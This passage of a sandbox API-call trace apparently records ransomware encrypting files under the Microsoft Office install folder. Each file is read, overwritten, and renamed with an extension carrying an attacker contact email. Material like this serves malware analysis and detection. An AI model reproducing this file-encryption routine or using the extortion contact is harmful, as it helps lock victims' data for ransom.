lpOverlapped=0x0 | out: lpBuffer=0x7238ed0*, lpNumberOfBytesWritten=0x433ff0c*=0x1080, lpOverlapped=0x0) returned 1 [0160.772] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.772] WriteFile (in: hFile=0x700, lpBuffer=0x7239f4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7239f4f*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.772] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.772] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.772] CloseHandle (hObject=0x700) returned 1 [0160.772] GetProcessHeap () returned 0x630000 [0160.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7238ed0 | out: hHeap=0x630000) returned 1 [0160.772] GetProcessHeap () returned 0x630000 [0160.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7239fd8 | out: hHeap=0x630000) returned 1 [0160.772] GetProcessHeap () returned 0x630000 [0160.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71771a0 | out: hHeap=0x630000) returned 1 [0160.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25c65eff, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10ba, dwReserved0=0x433fd20, dwReserved1=0x7239fd8, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4e00 [0160.772] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0160.773] Sleep (dwMilliseconds=0x1) [0160.904] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", len=0x66 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl") returned 1 [0160.905] GetProcessHeap () returned 0x630000 [0160.905] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bcc) returned 0x707d3d0 [0160.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0160.927] CloseHandle (hObject=0x6a4) returned 1 [0160.927] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.941] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.941] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INFORM~1.FIR")) returned 0x6d5280 [0160.968] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0160.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0160.968] GetProcessHeap () returned 0x630000 [0160.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7b41) returned 0x7118650 [0160.968] GetProcessHeap () returned 0x630000 [0160.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7b41) returned 0x71201a0 [0160.969] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.969] ReadFile (in: hFile=0x4e0, lpBuffer=0x7118650, nNumberOfBytesToRead=0x7b20, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7118650*, lpNumberOfBytesRead=0x433ff0c*=0x7b20, lpOverlapped=0x0) returned 1 [0165.782] GetProcessHeap () returned 0x630000 [0165.782] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0165.782] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.782] WriteFile (in: hFile=0x4e0, lpBuffer=0x71201a0*, nNumberOfBytesToWrite=0x7b20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71201a0*, lpNumberOfBytesWritten=0x433ff0c*=0x7b20, lpOverlapped=0x0) returned 1 [0165.782] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.782] WriteFile (in: hFile=0x4e0, lpBuffer=0x7127cbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7127cbf*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.782] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.782] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.783] CloseHandle (hObject=0x4e0) returned 1 [0165.783] GetProcessHeap () returned 0x630000 [0165.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71201a0 | out: hHeap=0x630000) returned 1 [0165.783] GetProcessHeap () returned 0x630000 [0165.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7118650 | out: hHeap=0x630000) returned 1 [0165.783] GetProcessHeap () returned 0x630000 [0165.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0165.783] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28c32cab, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7b4b, dwReserved0=0xb1c7496, dwReserved1=0x7118648, cFileName="Informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INFORM~1.FIR")) returned 0x6d5000 [0165.783] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0165.783] Sleep (dwMilliseconds=0x1) [0166.548] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\PowerViewRes.sv.xap", len=0x65 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\PowerViewRes.sv.xap") returned 1 [0166.548] GetProcessHeap () returned 0x630000 [0166.548] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b9c) returned 0x707d3d0 [0166.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\PowerViewRes.sv.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sv\\powerviewres.sv.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0166.549] CloseHandle (hObject=0x6f8) returned 1 [0166.549] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\PowerViewRes.sv.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sv\\powerviewres.sv.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\PowerViewRes.sv.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sv\\powerviewres.sv.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.550] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\PowerViewRes.sv.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16035c5a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ea7c, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.sv.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0166.550] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0166.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\PowerViewRes.sv.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sv\\powerviewres.sv.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0166.551] GetProcessHeap () returned 0x630000 [0166.551] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7083fd8 [0166.551] GetProcessHeap () returned 0x630000 [0166.551] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a8ed8 [0166.551] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.551] ReadFile (in: hFile=0x6f8, lpBuffer=0x7083fd8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7083fd8*, lpNumberOfBytesRead=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0173.475] GetProcessHeap () returned 0x630000 [0173.475] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0173.475] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.475] WriteFile (in: hFile=0x6f8, lpBuffer=0x70a8ed8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a8ed8*, lpNumberOfBytesWritten=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0173.476] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.476] WriteFile (in: hFile=0x6f8, lpBuffer=0x70b42d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b42d7*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0173.478] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.478] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0173.478] CloseHandle (hObject=0x6f8) returned 1 [0173.478] GetProcessHeap () returned 0x630000 [0173.479] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a8ed8 | out: hHeap=0x630000) returned 1 [0173.479] GetProcessHeap () returned 0x630000 [0173.479] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7083fd8 | out: hHeap=0x630000) returned 1 [0173.479] GetProcessHeap () returned 0x630000 [0173.479] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0173.479] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0173.479] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\PowerViewRes.sv.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16035c5a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2d59ee57, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4eaa0, dwReserved0=0xb1c7496, dwReserved1=0x7083fd0, cFileName="PowerViewRes.sv.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d54c0 [0173.480] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0173.480] Sleep (dwMilliseconds=0x1) [0173.490] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\PowerViewRes.hr.xap", len=0x65 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\PowerViewRes.hr.xap") returned 1 [0173.490] GetProcessHeap () returned 0x630000 [0173.490] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b54) returned 0x707d3d0 [0173.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\PowerViewRes.hr.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hr\\powerviewres.hr.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0173.492] CloseHandle (hObject=0x6f8) returned 1 [0173.492] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0173.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\PowerViewRes.hr.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hr\\powerviewres.hr.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\PowerViewRes.hr.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hr\\powerviewres.hr.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0173.493] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0173.493] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\PowerViewRes.hr.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13b67741, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f598, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.hr.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0173.493] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0173.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\PowerViewRes.hr.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hr\\powerviewres.hr.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0173.494] GetProcessHeap () returned 0x630000 [0173.494] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a7c70 [0173.494] GetProcessHeap () returned 0x630000 [0173.494] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0173.494] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.494] ReadFile (in: hFile=0x6f8, lpBuffer=0x70a7c70, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesRead=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0181.834] GetProcessHeap () returned 0x630000 [0181.835] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0181.835] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.835] WriteFile (in: hFile=0x6f8, lpBuffer=0x719ec10*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesWritten=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0181.836] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.836] WriteFile (in: hFile=0x6f8, lpBuffer=0x71aa00f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aa00f*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0181.839] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.839] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0181.839] CloseHandle (hObject=0x6f8) returned 1 [0181.840] GetProcessHeap () returned 0x630000 [0181.840] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0181.935] GetProcessHeap () returned 0x630000 [0181.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0181.935] GetProcessHeap () returned 0x630000 [0181.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0182.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\PowerViewRes.hr.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13b67741, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3255e880, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f5bc, dwReserved0=0xb1c7496, dwReserved1=0x70a7c68, cFileName="PowerViewRes.hr.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0182.510] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0182.510] Sleep (dwMilliseconds=0x1) [0182.539] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", len=0x40 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM") returned 1 [0182.539] GetProcessHeap () returned 0x630000 [0182.539] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a64) returned 0x707d3d0 [0182.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0182.540] CloseHandle (hObject=0x6f4) returned 1 [0182.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslist.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 